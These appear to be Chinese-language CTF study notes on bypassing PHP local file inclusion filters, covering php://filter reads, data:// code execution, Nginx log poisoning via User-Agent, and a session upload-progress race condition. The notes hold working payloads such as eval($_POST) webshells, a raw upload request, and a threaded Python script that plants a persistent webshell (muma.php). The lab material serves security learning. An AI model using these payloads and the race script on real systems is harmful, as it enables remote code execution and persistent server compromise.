文件包含绕过(session打条件竞争应该是文件上传的!!!)
<aside> 💡
php伪协议
</aside>
**<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
***include($file);***
}else{
highlight_file(__FILE__);
}**
**?file=php://filter/read=convert.base64-encode/resource=flag.php
//然后进行base64解码!!!**
<aside> 💡
data伪协议
</aside>
**<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
***$file = str_replace("php", "???", $file);***
include($file);
}else{
highlight_file(__FILE__);
}**
**?file=data://text/plain,<?=system('tac fl*');?>**
<aside> 💡
日志绕过
</aside>
前提:phpinfo配置参数的前提是allow_url_fopen和allow_url_include必须设置为On。
Nginx访问日志路径:/var/log/nginx/access.log
**<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
***$file = str_replace("php", "???", $file);***
***$file = str_replace("data", "???", $file);***
include($file);
}else{
highlight_file(__FILE__);
}**
**//用日志包含绕过,将执行的命令插入日志中
//在User-Agent插入
<?php echo system('ls');?>
<?= eval($_POST[1]);?>
?file=/var/log/nginx/access.log**
<aside> 💡
session会话记录+条件竞争
</aside>
使用条件:PHP 的会话上传进度跟踪功能 PHP_SESSION_UPLOAD_PROGRESS=on
**session_unset();
session_destroy();
session_start();**
条件竞争的原因
**session.upload_progress.cleanup = on //默认开启!!!**
这个配置表示在文件上传完成后,会自动清理与上传进度相关的会话数据。
默认开启
文件保存路径
**1) /var/lib/php/
2) /var/lib/php/sessions/
3) /tmp/
4) /tmp/sessions/**
自己做一个HTML页面,对目标主机进行文件上传
**<!DOCTYPE html>
<html>
<body>
<form action="<http://b19c75ee-d5d9-4a02-8379-d988199962e2.chall.ctf.show:8080/>" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>**
抓包
**POST // HTTP/1.1
Host: 84202b35-60d0-4bd2-bee2-781631694f2c.challenge.ctf.show
Content-Length: 366
Cache-Control: max-age=0
Sec-Ch-Ua: "Not A(Brand";v="24", "Chromium";v="110"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3lihaqES5flo5elp
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Cookie:PHPSESSID=exp
------WebKitFormBoundary3lihaqES5flo5elp
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
<?php system('ls'); ?>
------WebKitFormBoundary3lihaqES5flo5elp
Content-Disposition: form-data; name="file"; filename="2.php"
Content-Type: application/octet-stream
47494638<?php eval($_POST['cmd']); ?>
------WebKitFormBoundary3lihaqES5flo5elp--**
sessionid设置
**Cookie:..................;PHPSESSID=exp**
回到题目所在页面,再抓一个访问包,访问的文件是我们自定义的。
**?file=/tmp/sess_exp**
然后进行抓包,条件竞争
访问包的线程数需要大于上传包的线程数
综合脚本session+条件竞争
**import requests
import io
import threading
url='<https://84202b35-60d0-4bd2-bee2-781631694f2c.challenge.ctf.show/>'
sessionid='ctfshow'
data={
"1":"file_put_contents('/var/www/html/muma.php','<?php eval($_POST[a]);?>');"
}
'''
post 传递内容可在网站目录下写入一句话木马。
根据资料,内容暂存在 /tmp/ 目录下 sess_sessionid 文件。
sessionid 可控,所以这里即 /tmp/sess_ctfshow。
这样一旦访问成功,就说明木马植入了
'''
# /tmp/sess_sessionid 中写入一句话木马。
def write(session):
fileBytes = io.BytesIO(b'a'*1024*50)
while True:
response=session.post(
url,
data={
'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'
},
cookies={
'PHPSESSID':sessionid
},
files={
'file':('ctfshow.jpg',fileBytes)
}
)
# 访问 /tmp/sess_sessionid,post 传递信息,保存新木马。
def read(session):
while True:
response=session.post(
url+'?file=/tmp/sess_'+sessionid,
data=data,
cookies={
'PHPSESSID':sessionid
}
)
# 访问木马文件,如果访问到了就代表竞争成功
resposne2=session.get(url+'muma.php')
if resposne2.status_code==200:
print('++++++done++++++')
else:
print(resposne2.status_code)
if __name__ == '__main__':
evnet=threading.Event()
# 写入和访问分别设置 5 个线程。
with requests.session() as session:
for i in range(5):
threading.Thread(target=write,args=(session,)).start()
for i in range(5):
threading.Thread(target=read,args=(session,)).start()
evnet.set()**